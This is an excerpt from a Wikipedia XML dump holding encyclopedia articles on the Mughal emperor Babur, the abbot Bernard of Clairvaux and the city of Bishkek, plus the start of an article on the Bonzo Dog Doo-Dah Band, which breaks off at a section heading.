Babur's name was derived from the [[Persian language|Persian]] ''&quot;Babr&quot;'' meaning &quot;[[leopard]]&quot;. He was born on [[February 14]], [[1483]]. There are three suggestions to where he was born, which are [[Fergana]], [[Fergana Valley]] or [[Andijan]] all of which are in [[Uzbekistan]]. He was the eldest son of Omar Sheikh Mirza (also spelled as Umar Shaykh Mirza or Umar Shaikh Mirza), ruler of the Fergana Valley, and his wife [[Qutlugh Nigar Khanum]]. He was a descendant of the famous [[Mongol]] warlord, [[Timur]] (also known as ''Tamarlane'') on his father's side and a descendant of [[Genghis Khan]] on his mother's side. Although Babur hailed from the ''Barlas'' tribe which was of Mongol origin, his tribe had embraced [[Turkic peoples|Turkic]] culture, converted to Islam and resided in Turkic regions. Hence Babur, though nominally a Mongol (or ''Mughal'' in Persian), drew much of his support from the Turks, and his army was diverse in its ethnic makeup. Babur is said to have been extremely strong and physically fit. Allegedly, he would carry two men, one on each of his shoulders, and then climb slopes on the run, just for exercise. Legend holds that Babur swam across every major [[river]] in [[India]], again for exercise.

==Military career==
When only eleven years of age, Babur succeeded his father as ruler of Fergana in 1494. His uncles were relentless in their attempts to dislodge him from this position; Babur spent a major portion of his life shelterless and in exile. In [[1497]], Babur attacked and gained possession of the Uzbek city of [[Samarkand]]. While he was winning that city, a rebellion among Uzbek nobles back home robbed him of [[Fargana]]. As he was marching to recover it, his troops deserted him; he lost [[Samarkand]] as well as [[Fargana]]. Babur did manage to regain both cities within a relatively brief period. In [[1501]], however, he was again defeated, this time by his most formidable enemy, [[Muhammad Shaybani]], Khan of the [[Uzbek|Uzbeks]]; [[Samarkand]], his lifelong obsession, was lost again. For three years, Babur concentrated on building up a strong army. In [[1504]], he was able to cross the snowy [[Hindu Kush]] mountains and capture [[Kabul]]. With this move, he gained a wealthy new kingdom and re-established his fortunes and assumed the title Padshah. In the following year, Babur united with [[Husayn Bayqarah]] of [[Herat]] against Muhammad Shaybani. The death of Husayn Bayqarah in [[1506]] put paid to that venture, but Babur occupied his ally's city of [[Herat]] and spent a year there, enjoying the pleasures of that city. A brewing rebellion finally induced him to return to Kabul from Herat. He prevailed on that occasion, but two years later, a revolt among some of his leading generals drove him out of Kabul; he was compelled to escape with very few companions. Babur however soon returned; he again captured Kabul and compelled the allegiance of the rebels. Muhammad Shaybani died in [[1510]]. Babur used this opportunity to regain his ancestral Timurid territories. He received considerable aid from Shah [[Ismail I]], [[Safavid]] ruler of [[Persia]], and made a triumphant entry into [[Samarkand]] in [[1511]]. However, he was again defeated by the Uzbeks in [[1514]] and returned to [[Kabul]] with great difficulty.

==Conquest of North India==
Babur now resigned all hopes of recovering [[Fergana]]. Although he dreaded an invasion from the Uzbeks to his West, his attention increasingly turned towards [[India]]. He had made several preliminary incursions, including an attack on the [[Gakhar]] stronghold of Pharwala, when an opportunity for a more extended expedition presented itself in [[1521]]. [[Ibrahim Lodi]], ruler of the [[Delhi Sultanate]], was widely detested; several of his [[Afghan people|Afghan]] nobles invited Babur's intervention. Babur assembled a 12,000-man army, complete with [[artillery]], which was then a great novelty, and marched into [[India]]. This number actually increased as Babur advanced as members of the local population joined the invading armies. [[Ibrahim Lodi]] advanced against him with 100,000 soldiers and 100 elephants. Their main engagement, the [[First battle of Panipat]], was fought on [[April 21]], [[1526]]. [[Ibrahim Lodi]] was slain and his army was routed; Babur quickly took possession of both [[Delhi]] and [[Agra]]. Now Babur was having sleepless nights because of [[Rana Sanga]], the [[Rajput]] ruler of [[Mewar]]. Babur sent about 1500 choice cavalry to attack Sanga. These were butchered by Sanga's rajputs. Babur wanted to discuss peace terms. For discussions Sanga sent his general [[Silhadi]] (Shiladitya). Babur won this general by promising him independent kingdom. Silhadi came back and reported that Babur did not want peace and he wanted to fight. [[Battle of Khanwa]] started on [[March 17]], [[1527]] and Babur's army was being knocked out of the field and victory was certain for Sanga. At this juncture Silhadi and his army left the field and this tilted the war in favor of Babur and he won. [See Annals and Antiquities of Ancient Rajasthan: James Tod. ISBN 8170691281]. On [[May 6]], [[1529]], Babur defeated Mahmud Lodi, brother of Ibrahim Lodi, at the [[Battle of Ghagra]], thus crushing the last remnant of resistance in [[North India]].

==Last days==
Babur spent the later years of his life consolidating his new empire and its revenue and taxation. He wrote his memoirs, the [[Baburnama]], in the [[Turkic languages|Turkic]] dialect known as [[Chagatai language|Chaghatai]]. Towards the end of Babur's life, his son, [[Humayun]], became deathly ill, and was declared by the physicians to have little chance of survival. Babur was devastated and began to constantly pray for his son. In these prayers, which he recited while circumambulating his son, Babur said that he wanted to take the disease away from Humayun, and die in his place. Strangely enough, Babur's prayers were answered; Humayun recovered while Babur grew ill. He died at the age of 48, and was suceeded by his eldest son, [[Humayun]]. As per his wishes, Babur was buried at [[Kabul]], [[Afghanistan]].

==References==
*''The Babur-nama. Memoirs of Babur, Prince and Emperor'' Translated, Edited and annotated by Wheeler M. Thackston (New York) 2002   

{{start box}}   
{{succession box|title=[[List of Mughal emperors|Mughal Emperor]]|before=-|after=[[Humayun]]|years=1526&amp;ndash;1530}}   
{{end box}}
-----''This article incorporates text from the [[public domain]] [[1911 Encyclopædia Britannica]].''[[Category:1911 Britannica]]   

==External links==   
*[http://www.literature.uz/english/poetwriter.php?poetid=7&amp;periodid=4 Uzbek Literature-Zahiriddin Muhammad Bobur]   

[[Category:Mughal empire]]
[[Category:Timurid Monarchs]]
[[Category:Mughal Emperors]]

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  <page>
    <title>Bernard of Clairvaux</title>
    <id>4552</id>
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      <minor />
      <comment>disambiguation from [[Knights Templar]] to [[Knights Templar (military order)]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">[[Image:Bernhard von Clairvaux (Initiale-B).jpg|thumbnail|200px|right|Bernard of Clairvaux, in a medieval [[illuminated manuscript]].]]
Saint '''Bernard of Clairvaux''' (Fontaines, near [[Dijon]], [[1090]] &amp;ndash; [[August 21]], [[1153]] in [[Clairvaux]]) was a French abbot and theologian who was the main voice of conservatism during the intellectual revival of Western Europe called the Renaissance of the [[12th century]]. The voice of conscience, the dominating figure in the Christian church from 1125 to 1153 (Cantor 1993), he was declared  a [[Doctor of the Church]] in [[1830]]. Bernard is a [[saint]] of the [[Catholic Church]] and was the primary builder of the reforming [[Cistercian]] monastic order. 

Bernard preached in favor of a second [[crusade]] at [[Easter]] [[1146]] at [[Vezelay]] in front of King [[Louis VII of France|Louis VII]]. Louis took the cross and spent [[1147]]-[[1149]] conducting the disastrous [[Second Crusade]].

== Early life ==
He was born at Fontaines, near [[Dijon]], in [[France]]. Bernard was born into the noble class: his father, a knight named Tecelin, perished on crusade; and his mother Aleth, a daughter of the noble house of Mon-Bar, and a woman distinguished for her piety, died while Bernard was a boy.  Constitutionally unfit for a military career, his own disposition, as well as his mother's early influence, directed him to the church. His desire to enter a monastery was opposed by his relations, who sent him to study at [[Châlons]] in order to qualify him for high ecclesiastical preferment. Bernard's resolution to become a monk was not, however, shaken, and when he at last definitely decided to join the community which [[Saint Robert|Robert of Molesme]] had founded at [[Citeaux]] in 1098, he took with him his brothers and many of his relations and friends.

==Abbot of the Cistercian abbey of Clairvaux==
:''General history of Clairvaux: [[Clairvaux Abbey]]''.
The little community of reformed [[Benedictines]] at Citeaux, which would have so profound an influence on Western [[monasticism]], grew so rapidly that it was soon able to send out offshoots. One of these monasteries, [[Clairvaux]], was founded in 1115, in a wild valley of a tributary of the Aube, on land given by [[Count Hugh of Troyes]]. There Bernard, a recent initiate, was appointed abbot.

By the new constitution of the Cistercians, Clairvaux became the chief monastery of the five branches into which the order was divided under the supreme direction of the abbot of Citeaux. Though nominally subject to Citeaux, Clairvaux soon became the most important Cistercian house, owing to the fame and influence of Bernard.

[[Image:Jorg_Breu_Sr_St_Bernhard_Zwettl.jpg|thumb|250px|left|Bernard exorcizing a possession, altarpiece by [[Jörg Breu the Elder]], ca. [[1500]].]]

==Wider influence== 
Before long the abbot, who had intended to devote his life to the work of his monastery, was drawn into the affairs of the outside world. When in 1124 [[Pope Honorius II]] was elected, Bernard was already reckoned among the greatest of French churchmen; he now shared in the most important ecclesiastical discussions, and papal legates sought his counsel.

Thus in 1128 he was invited by [[Cardinal (Catholicism)|Cardinal]] [[Matthew]] of [[Albano]] to the [[synod of Troyes]], where he was instrumental in obtaining the recognition of the new order of [[Knights Templar (military order)|Knights Templar]], the rules of which he is said to have drawn up; and in the following year, at the synod of Châlons-sur-Marne, he ended the crisis arising out of certain charges brought against Henry, Bishop of Verdun, by persuading the bishop to resign.

===The schism of 1130&amp;ndash;1138===
The European importance of Bernard, however, began with the death of Honorius (1130) and the disputed election that followed. In the [[conclave]] [[Antipope Anacletus II|Anacletus II]] was elected by a narrow margin, but many influential cardinals favored the contender, [[Pope Innocent II]], a disciple of Bernard and the Cistercian reforms. In the synod convoked by [[Louis the Fat]] at Etampes in April 1130, Bernard successfully asserted the claims of Innocent II against those of Anacletus, and from this moment became Innocent's most influential supporter. He threw himself into the contest with characteristic ardour. While Rome was held by the faction that supported Anacletus, France, England, Spain and Germany declared for Innocent, who, though banished from Rome, was&amp;mdash;in Bernard's phrase&amp;mdash;&quot;accepted by the world.&quot; The pope traveled from place to place, with the powerful abbot of Clairvaux at his side; he stayed at Clairvaux itself, humble still, so far as its buildings were concerned; and he went with Bernard to parley with [[Lothair II, Holy Roman Emperor]], at [[Liège (city)|Liège]].

In 1133, the year of the emperor's first expedition to Rome, Bernard was in Italy persuading the [[Genoa|Genoese]] to make peace with [[Pisa]], since Innocent had need of both. He accompanied Innocent to Rome, successfully resisting the proposal to reopen negotiations with Anacletus, who held the [[Castel Sant'Angelo|castle of Sant'Angelo]] and, with the support of [[Roger II of Sicily]], was too strong to be subdued by force. Lothar, though crowned by Innocent in [[St. Peter's Basilica|St Peter's]], could do nothing to establish him in the Holy See so long as his own power was sapped by his quarrel with the house of [[Hohenstaufen]]. Again Bernard came to the rescue; in the spring of 1135 he was at [[Bamberg]] successfully persuading [[Frederick II, Duke of Swabia|Frederick Hohenstaufen]] to submit to the emperor.

In June he was back in Italy, taking a leading part in the council of Pisa, by which Anacletus was [[excommunicate]]d. In northern Italy the effect of his personality and of his preaching was immense; [[Milan]] itself, of all the Lombard cities most jealous of the imperial claims,
surrendered to his eloquence, submitted to Lothar and to Innocent, and tried to force Bernard against his will into the vacant see of Milan.

In 1137, the year of Lothar's last journey to Rome, Bernard was back in Italy again; at [[Monte Cassino]], setting the affairs of the monastery in order, at [[Salerno]], trying in vain to induce Roger of Sicily to declare against Anacletus, in Rome itself, agitating with success against the antipope.

When Anacletus died on [[January 25]] 1138 and the cardinal Gregory was elected his successor, assuming the name of [[Antipope Victor IV (1138)|Victor IV]], Bernard's crowning triumph in the long contest was the abdication of the new antipope, the result of his personal influence. The schism of the church was healed, and the abbot of Clairvaux was free to return to the peace of his monastery.

==The contest with Abelard==
Clairvaux itself had meanwhile (1135--1136) been transformed outwardly-- in spite of the reluctance of Bernard, who preferred the rough simplicity of the original buildings-- into a more suitable seat for an influence that overshadowed that of Rome itself. How great this influence was is shown by the outcome of Bernard's contest with [[Peter Abelard]]. Bernard was the prosecutor in Abelard's trial for heresy. Bernard had been hostile to the scholars at the [[University of Paris]], the center of the new learning based on Aristotle, suspecting those who learned &quot;merely in order that they might know&quot; for the vanity of a learned reputation. For Bernard of Clairvaux the [[liberal arts]] served but a narrow purpose: to prepare the priesthood. In intellectual and dialectical power the abbot was no match for the great schoolman; yet at [[Sens]] in [[1141]] Abelard feared to face him, and when he appealed to Rome Bernard's word was enough to secure his condemnation.

==Bernard and the Cistercian Order==
:''Main article: [[Cistercian Order]].''
One result of Bernard's fame was the growth of the Cistercian order. Between 1130 and 1145 no less than 93 monasteries in connection with Clairvaux were either founded or affiliated from other rules, three being established in [[England]] and one in [[Ireland]]. In 1145 a Cistercian monk, once a member of the community of Clairvaux-- another Bernard, abbot of Aquae Silviae near Rome, was elected pope as [[Pope Eugenius III]]. This was a triumph for the order; to the world it was a triumph for Bernard, who complained that all who had suits to press at Rome applied to him, as though he himself had become pope.

==Bernard and heresy==
Having healed the [[antipope|schism]] within the church, Bernard was next called upon to combat heresy. [[Languedoc]] especially had become a hotbed of heresy, and at this time the preaching of [[Henry of Lausanne]] was drawing thousands from the orthodox faith. In June 1145, at the invitation of Cardinal Alberic of Ostia, Bernard traveled in the south. There his preaching, aided by his emaciated ascetic's looks and simple attire did something to stem the flood of heresy for a while, missionary work and humility having been positive characteristics of [[Cathar]]s and [[Waldensian]]s.

[[Image:BartolomeoVirginBernard.JPG|thumb|right|280px|''The Vision of St Bernard'', by [[Fra Bartolommeo]], ''ca'' 1504 ([[Uffizi]])]]

==The Second Crusade==
:''Main article: [[Second Crusade]].''
Far more important was his activity in the following year, when, in obedience to the pope's command, he preached to promote the [[Second Crusade]]. The effect of his eloquence was extraordinary. At the great meeting at [[Vezelay]], on [[March 21]], as the result of his sermon, King [[Louis VII of France]] and his queen, [[Eleanor of Aquitaine|Eleanor]], took the cross, together with a host of all classes, so numerous that the stock of crosses was soon exhausted.  Bernard continued through northern France, [[Flanders]] and the Rhine provinces, everywhere rousing the wildest enthusiasm; and at [[Spires]] on [[Christmas day]] he succeeded in persuading [[Conrad III of Germany|Conrad]], [[king of the Romans]], to join the crusade.

The disastrous outcome of the crusade was a blow to Bernard, who found it difficult to understand why God would move in this way but ascribed it to the sins of the crusaders (Episte 288; ''de Consideratione''. ii. I). The news of the defeats of the crusading host first reached Bernard at Clairvaux, where [[Pope Eugenius III]], driven from Rome by the revolution of [[Arnold of Brescia]], was his guest.  Bernard had in March and April 1148 accompanied the pope to the council of Reims, where he led the attack on certain propositions of the scholastic theologian [[Gilbert de la Porrée]]. From whatever cause&amp;mdash;possibly the growing jealousy of the cardinals, or the loss of prestige owing to rumours about the crusade, the success of which he had so confidently predicted&amp;mdash;Bernard's influence, previously a danger to those suspected of heterodoxy, on this occasion had little effect.

On the news of the disaster that had overtaken the crusaders, an effort was made to retrieve it by organizing another expedition. At the invitation of [[Suger]], abbot of [[Saint Denis Basilica|St Denis]], now the virtual ruler of France, Bernard attended the meeting at Chartres convened for this purpose, where he himself was elected to conduct the new crusade, the choice being confirmed by the pope. He was saved from this task, for which he was physically and constitutionally unfit, by the intervention of the Cistercian abbots, who forbade him to undertake it. Bernard was aging, broken by his austerities and by ceaseless work, and saddened by the loss of several of his early friends. His intellectual energy remained undimmed. He continued to take an active interest in ecclesiastical affairs, and his last work, the ''De Consideratione'', shows no sign of failing power.

==Bernard and the veneration of the Virgin Mary==
Bernard expanded upon [[Anselm of Canterbury]]'s role in transmuting the sacramental ritual Christianity of the [[Early Middle Ages]] into a new, more personally held faith, with the life of Christ as a model and a new emphasis on the [[Mary, the mother of Jesus|Virgin Mary]]. In opposition to the rational approach to divine understanding that the schoolmen adopted, Bernard preached an immediate faith, in which the intercessor was the Virgin Mary. &quot;the Virgin that is the royal way, by which the Savior comes to us.&quot; &quot;Bernard played the leading role in the development of the Virgin cult, which is one of the most important manifestations of the popular piety of the twelfth century. In early medieval thought the Virgin Mary had played a minor role, and it was only with the rise of emotional Christianity in the eleventh century that she became the prime intercessor for humanity with the deity.&quot; (Cantor 1993 p 341)

==Bernard's character ==
The greatness of St Bernard is generally regarded as being his character. The age saw him as the embodiment of its ideal: that of medieval monasticism at its highest development. The world had no meaning for him save as a place of banishment and trial, in which men are but &quot;strangers and pilgrims&quot; (Serm. i., Epiph. n. I; Serm. vii., Lent. n. I); the way of grace, back to the lost inheritance, had been marked out, and the function of theology was merely to maintain the landmarks inherited from the past. He had no sympathy with the dialectics of many teachers. Bernard's vision was clear. With merciless logic he followed the principles of the Christian faith as he conceived it. For all his overmastering zeal he was by nature neither a bigot nor a persecutor. Even when preaching the crusade he interfered at [[Mainz]] to stop the persecution of the [[Jew]]s, stirred up by the monk Radulf.[http://www.jewishencyclopedia.com/view.jsp?artid=879&amp;letter=B&amp;search=bernard_of_clairvaux] As for heretics, &quot;the little foxes that spoil the vines should be taken, not by force of arms, but by force of argument&quot;. However, if any heretic refused to be thus taken, he considered &quot;that he should be driven away, or even a restraint put upon his liberty, rather than that he should be allowed to spoil the vines&quot; (Serm. lxiv). He was troubled by the mob violence which made the heretics &quot;[[martyr]]s to their unbelief.&quot; He approved the zeal of the people, but believed that &quot;faith is to be produced by persuasion, not imposed by force&quot;; adding that, &quot;it would without doubt be better that they should be coerced by the sword than that they should be allowed to draw away many other persons into their error.&quot; Finally, he ascribes the steadfastness of these &quot;dogs&quot; in facing death to the power of the devil (Serm. lxvi. on Canticles ii. 15).

Bernard at his best displays a nobility of nature, a wise charity and tenderness in his dealings with others, and a genuine humility, that make him one of the most complete exponents of the Christian life. His broadly Christian character is witnessed to by the enduring quality of his influence. The author of the ''Imitatio'' drew inspiration from his writings; the reformers saw him as a medieval champion of their favourite doctrine of the supremacy of the divine grace. His works have been reprinted in countless editions. This is perhaps due to the fact that the chief fountain of his own inspiration was the [[Bible]]. He was saturated in its language and in its spirit; and though he read it, as might be expected, uncritically, and interpreted its plain meanings allegorically-- as the fashion of the day was--it saved him from
the grosser aberrations of medieval Catholicism. He accepted the teaching of the church as to the reverence due to our Lady and the saints, and on feast-days and festivals these receive their due meed in his sermons; but in his letters and sermons their names are at other times seldom invoked. They were overshadowed by his idea of the grace of God and the moral splendour of Christ; &quot;from Him do the Saints derive the odour of sanctity; from Him also do they shine as lights &quot; (Ep. 464).

Bernard's popularity as a preacher cannot be judged by the sermons that survive. These were all delivered in [[Latin]], to congregations more or less on his own intellectual level. Like his letters, they are full of quotations from and reference to the Bible, and they have all the qualities likely to appeal to men of culture at all times.

In [[the Divine Comedy]] Bernard is the last of Dante's spiritual guides, and offers his prayer to the Virgin Mary to grant Dante the vision of the true nature of God that is the climax of the story. 

&quot;Bernard,&quot; wrote [[Erasmus of Rotterdam]] in his ''Art of Preaching'', &quot;is an eloquent preacher, much more by nature than by art; he is full of charm and vivacity and knows how to reach and move the affections.&quot; The same is true of the letters and to an even more striking degree. They are written on a variety of subjects, great and small, to people of the most diverse stations and types; and they help us to understand the adaptable nature of the man, which enabled him to appeal as successfully to the unlearned as to the learned.

== Works ==
Bernard's works fall into three categories:

*(1) Letters, of which over five hundred have been preserved, of great interest and value for the history of the period.
*(2) Treatises:
**(a) dogmatic and polemical, ''De gratia et libero arbitrio'', written about 1127, and following closely the lines laid down by St [[Augustine of Hippo]]; ''De baptismo aliisque quaestionibus ad mag. Ilugonem de S. Victore''; ''Contra quaedam capitala errorum Abaelardi ad Innocentem II'' (in justification of the action of the synod of Sens);
**(b) ascetic and mystical, ''De gradibus humilitatis ci superbiae'', his first work, written perhaps about 1121; ''De diligendo Deo'' (about 1126); ''De conversione ad clericos'', an address to candidates for the priesthood; ''De Consideratione'', Bernard's last work, written about 1148 at the pope's request for the edification and guidance of Eugenius III;
**(c) about monasticism, ''Apologia ad Guilelmum'', written about 1127 to William, abbot of St Thierry; ''De laude novae militiae ad milites templi'' (c. 1132--1136); ''De precepto et dispensatione'', an answer to various questions on monastic conduct and discipline addressed to him by the monks of St Peter at Chartres (some time before 1143);
**(d) on ecclesiastical government, ''De moribus et officio episcoporum'', written about 1126 for Henry, bishop of Sens; the ''De Consideratione'' mentioned above;
**(e) a biography, ''De vita et rebus gestis S. Maiachiae, Hiberniae episcopi'', written at the request of the Irish abbot Congan and with the aid of materials supplied by him; it is of importance for the ecclesiastical history of [[Ireland]] in the 12th century;
**(f) sermons--divided into ''Sermones de tempore''; ''de sanctis''; ''de diversis''; and eighty-six sermons, in ''Cantica Canticorum'', an allegorical and mystical exposition of the [[Song of Solomon]];
**(g) hymns. Many hymns ascribed to Bernard survive, e.g. ''Jesu dulcis memoria'', ''Jesus rex admirabilis'', ''Jesu decus angelicum'', ''Salve Caput cruentatum''.

Of these the three first are included in the Roman breviary. Many have been translated and are used in Protestant churches.

==Editions==
St Bernard's works were first published in anything like a complete edition at Paris in 1508, under the title ''Seraphica melliflui devotique doctoris S. Bernardi scripta'', edited by [[André Bocard]]. The first really critical and complete edition is that of Dom [[Jean Mabillon|J. Mabillon]] ''Sancti Bernardi'' opp. etc. (Paris, 1667, improved and enlarged in 1690, and again, by [[René Massuet]] and Texier, in 1719), reprinted by [[Jacques Paul Migne|JP Migne]], ''[[Patrologia Latina|Patrolog. lat.]]'' (Paris, 1859). 

The modern critical edition is edited by Leclerq, Talbot, and Rochais (8 vols., Rome, 1958-1975). There is an English translation of Mabillon's edition, including, however, only the letters and the sermons on the Song of Songs, with the biographical and other prefaces, by [[Samuel J. Eales]] (4 vols., London, 1889--1895). More recent (1970s-1990s) English translations of many of Bernard's works can be found in the &quot;Cistercian Fathers&quot; series, published by Cistercian Publications, Spencer, MA.

==References==
*[[Norman F. Cantor|Cantor, Norman F.]] 1993. ''The Civilization of the Middle Ages''
*{{1911}}

{{Commons|Bernard of Clairvaux}}

[[Category:Crusades]]
[[Category:Cistercians]]
[[Category:French theologians]]
[[Category:Saints]]
[[Category:1090 births|Bernard of Clairvaux]]
[[Category:1153 deaths|Bernard of Clairvaux]]
[[Category:Doctors of the Church]]

[[ar:برنارد من كليرفو]]
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[[it:San Bernardo di Chiaravalle]]
[[he:ברנר מקלרבו]]
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  <page>
    <title>Bishkek</title>
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      <text xml:space="preserve">[[Image:Bischkekklein.jpg|thumb|right|300px|Bishkek cityscape]]

'''Bishkek''' (Бишкек, بىشكهك) is the [[capital]] of [[Kyrgyzstan]]. It has a population of approximately 900,000 (2005). Originally founded in [[1878]] as the Russian fortress of '''Pishpek''' (Пишпек), between [[1926]] and [[1991]] it was known as '''Frunze''' (Фрунзе), after the [[Bolshevik]] military leader [[Mikhail Frunze]]. In [[Kyrgyz language|Kyrgyz]], a ''Bishkek'' is a churn used to make fermented mare's milk ([[kumis]]), the Kyrgyz national drink.

Bishkek, at {{coor dm|42|52|N|74|34|E|region:KG_type:city(900,000)}}, is situated at about 800&amp;nbsp;m altitude just off the northern fringe of the [[Ala-Too]] range, an extension of the [[Tien Shan]] mountain range, which rises up to 4,800&amp;nbsp;m and provides a spectacular backdrop to the city. North of the city, a fertile and gently undulating steppe extends far north into neighboring [[Kazakhstan]]. The [[Chui]] river drains most of the area. Bishkek is connected to the [[Turkestan-Siberia Railway]] by a spur.

Bishkek is a city of wide boulevards and marble-faced public buildings combined with numerous [[Soviet Union|Soviet]]-style apartment blocks surrounding interior courtyards and, especially outside the city center, thousands of smaller, often privately built houses. It is laid out on a grid pattern, with most streets flanked on both sides by narrow irrigation channels that water the innumerable trees which provide shade in the hot summers.  


==History==
[[Image:Bishkek.gif|thumb|right|300px]]

Originally a caravan rest stop (possibly founded by the [[Sogdians]]) on one of the branches of the [[Silk Road]] through the [[Tien Shan]] range, the location was fortified in 1825 by the [[Uzbek]] khan of [[Kokhand]] with a mud fort.  In 1862, the fort was conquered and razed when [[Imperial Russia|Tsarist Russia]] annexed the area. The site became a Russian garrison and was redeveloped and named '''Pishpek''' from 1877 onward by the Russian government, which encouraged the settlement of Russian peasants by giving them fertile [[black soil]] farms to develop. In [[1926]], the city became the capital of the newly established [[Kirghiz ASSR]] and was renamed '''Frunze''' after [[Mikhail Frunze]], [[Vladimir Lenin|Lenin]]'s close associate who was born in Bishkek and played key roles during [[Russian Revolution of 1905|1905]] and [[Russian Revolution of 1917|1917 revolutions]] and during the [[Russian civil war]] of the early 1920s.

Following the [[History of the Soviet Union (1985-1991)|breakup of the Soviet Union]], Kyrgyzstan achieved independence in 1991, and the city was renamed '''Bishkek'''. Today, it is a vibrant, rapidly modernizing city, with many restaurants and cafes and lots of second-hand European and Japanese cars and minibuses crowding its streets. During the Soviet era the city was home to a large number of industrial plants, but most have been shut down or operate today on a much reduced scale.  Bishkek was also home to a major Soviet military pilot training school; one of its students, [[Hosni Mubarak]], later became president of [[Egypt]].

In 2002, the [[United States]] obtained the right to use the nearby [[Manas International Airport]] as an air base for its military operations in [[Afghanistan]] and [[Iraq]], naming its base Ganci Air Base. Shortly after the [[United States Air Force|Air Force]] had used this name (to honor [[New York City Fire Department]] Chief [[Peter J. Ganci, Jr.]] who died in the [[September 11, 2001 attacks|World Trade Center terrorist attack]] on 11 September 2001) it was found that an AFI (Air Force Instruction) dictated that foreign air bases could not bear the name of any heroes from the US. Since then the air base has been officially called [[Manas Air Base]] (after a [[Manas (epic)|legendary Kyrgyz hero]]), yet local people and the media still tend to use the name Ganci. [[Russia]] subsequently established an air base of its own in nearby [[Kant, Kyrgyzstan|Kant]].

==Sights==
[[Image:Bishek_place_minor.jpg|thumb|right|A small, neglected square in Bishkek, near the main square]]
Bishkek is a fairly attractive city, especially in summer when its thousands of trees provide color and shade.  Though the city is relatively young, the surrounding area has sites of interests dating from prehistory, the [[Greco-Buddhist]] period, the period of [[Nestorian]] influence, the era of the Central Asian khanates, and the Soviet period.

*The Ala-Too mountain range, 40&amp;nbsp;km away, provides a spectacular backdrop to the city; in it, the [[Ala Archa]] National Park is a site worth visiting
*State Historical Museum, located in the main city square
*State Museum of Applied Arts, containing examples of Kyrgyz traditional [[handicraft]]s
*Frunze House Museum
*Several statues of [[Vladimir Lenin]] remain, the largest being opposite the parliament building in a leafy park &amp;mdash; having been moved there in 2003 from its original more conspicuous location on the main square of the city
*An [[equestrian statue]] of [[Mikhail Frunze]] still stands in a large park across from the train station
*The main government building, the [[White House (Bishkek)|White House]], is a huge seven-story marble block and the former headquarters of the Communist Party of the [[Kirghiz SSR]]
*At Ala-Too square, there's an Independence monument where the changing of the guards may be watched.

== Sister Cities ==
Sister Cities of Bishkek include [[Colorado Springs, Colorado]] (1994).

==External links==
{{commons|Category:Bishkek|Bishkek}}
*[http://www.angelfire.com/rnb/bashiri/Bishkek/Bishkek.html A personal description of Bishkek]
*[http://www.bishkek-hotels.net List of suggested hotels in Bishkek]
*[http://www.advantour.com/kyrgyzstan/bishkek.htm Guide and Photos of Bishkek]
*[http://eng.gateway.kg/reg_bishkek Kyrgyzstan Development Gateway] 
*[http://freenet.bishkek.su/kyrgyzstan/ Kyrgyzstan Online] 
*[http://www.cbtkyrgyzstan.kg/ Community Based Tourism (CBT) in Kyrgystan] 
[[Category:Capitals in Asia]]
[[Category:Cities along the Silk Road]]
[[Category:Cities in Kyrgyzstan]]

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[[zh:比什凯克]]</text>
    </revision>
  </page>
  <page>
    <title>Bonzo Dog Doo-Dah Band</title>
    <id>4555</id>
    <revision>
      <id>42014672</id>
      <timestamp>2006-03-03T05:45:31Z</timestamp>
      <contributor>
        <username>CambridgeBayWeather</username>
        <id>294180</id>
      </contributor>
      <comment>Fix some red links and avoid redirects</comment>
      <text xml:space="preserve">'''The Bonzo Dog Doo-Dah Band''' (more often the '''Bonzo Dog Band''') were the brainchild of a British art-school set of the [[1960s]]. Part [[jazz]] band, part [[Psychedelic music|psychedelic rockers]], the Bonzos came to the attention of a broader British public through a children's television programme, ''[[Do Not Adjust Your Set]]''. 

==The band's foundation==

Unusually for a band, the actual date of conception for the Bonzos is known to us: September 25th, 1962. It was on that day that [[Vivian Stanshall]] ([[tuba]], but later [[Singer|lead vocals]] along with other wind instruments) and fellow art student [[Rodney Slater (musician)|Rodney Slater]] ([[saxophone]]) bonded over a transatlantic broadcast of a boxing match between [[Floyd Patterson]] and [[Sonny Liston]].

Rodney Slater had previously been playing in a [[trad jazz]] band at college with Chris Jennings ([[trombone]]) and Tom Parkinson ([[sousaphone]]). Eventually they recruited Roger Wilkes [[trumpet]] and Trevor Brown [[banjo]] from the Royal College of Art as they slowly turned their style from more orthodox music towards the sound of the [[Alberts]] and the [[Temperance Seven]]. Vivian was their next recruit and on that fateful day in 1962, he and Rodney christened the band, '''The Bonzo Dog Dada Band'''. ''[[Bonzo the dog]]'' after a popular British character created by artist [[George E. Studdy|George Studdy]] in the [[1920s]] and [[Dada]] after the early 20th Century art movement.
&lt;div style=&quot;float:right; width:210px;&quot;&gt;
[[Image:Neil Innes on Do Not Adjust Your Set.jpg|thumb|200px|right|Neil Innes performing ''Equestrian Statue'' on ''[[Do Not Adjust Your Set]]'']]
[[Image:Roger Ruskin Spear playing trumpet on Do Not Adjust Your Set.jpg|thumb|200px|right|[[Roger Ruskin Spear]] playing the trumpet solo concluding ''Equestrian Statue'' on ''[[Do Not Adjust Your Set]]'']]
&lt;/div&gt;
Not long after Vivian, Rodney and Tom were evicted from their shared flat, the band added two more faces to the line-up, [[Goldsmiths College]] lecturer Vernon Dudley Bohay-Nowell and his lodger, songwriter/pianist, [[Neil Innes]].

The band had been working with drummer Tom Hedges before Rodney found Martin Ash, who later took the stage name of Sam Spoons and shortly afterwards got them their first pub gig, where they were noticed by [[Roger Ruskin Spear]].

Ruskin Spear, who was the son of the British artist [[Ruskin Spear]] claimed, &quot;I couldn't believe anyone was that bad.&quot; He eventually changed his mind and, with his interest in the manufacture of early electronic gadgets/objets d'art and sound-making systems soon became an integral part of the band.

The line-up changed once again with the departure of Roger Wilkes, whose girlfriend demanded his resignation, and John Parry, the trombonist. The two were replaced by, respectively, Bob Kerr and &quot;Big&quot; Sid Nichols. The final 'classic' band member, &quot;Legs&quot; Larry Smith (their number one fan) joined in 1963, as a tuba player and tap-dancer (but later as a drummer), on Vivian's invitation.

The band's fortunes began to increase when their manager, Reg Tracey secured them a deal with [[Parlophone]] Records in April 1966. Their first single, a cover of the 1920s 'classic', ''My Brother Makes The Noises For The Talkies'' was backed with ''I'm Going To Bring A Watermelon To My Girl Tonight'' which was rather too risque for radio.

A second single, ''Alley Oop'', backed with ''Button Up Your Overcoat'' followed in October of that year.

==A move from jazz to rock==
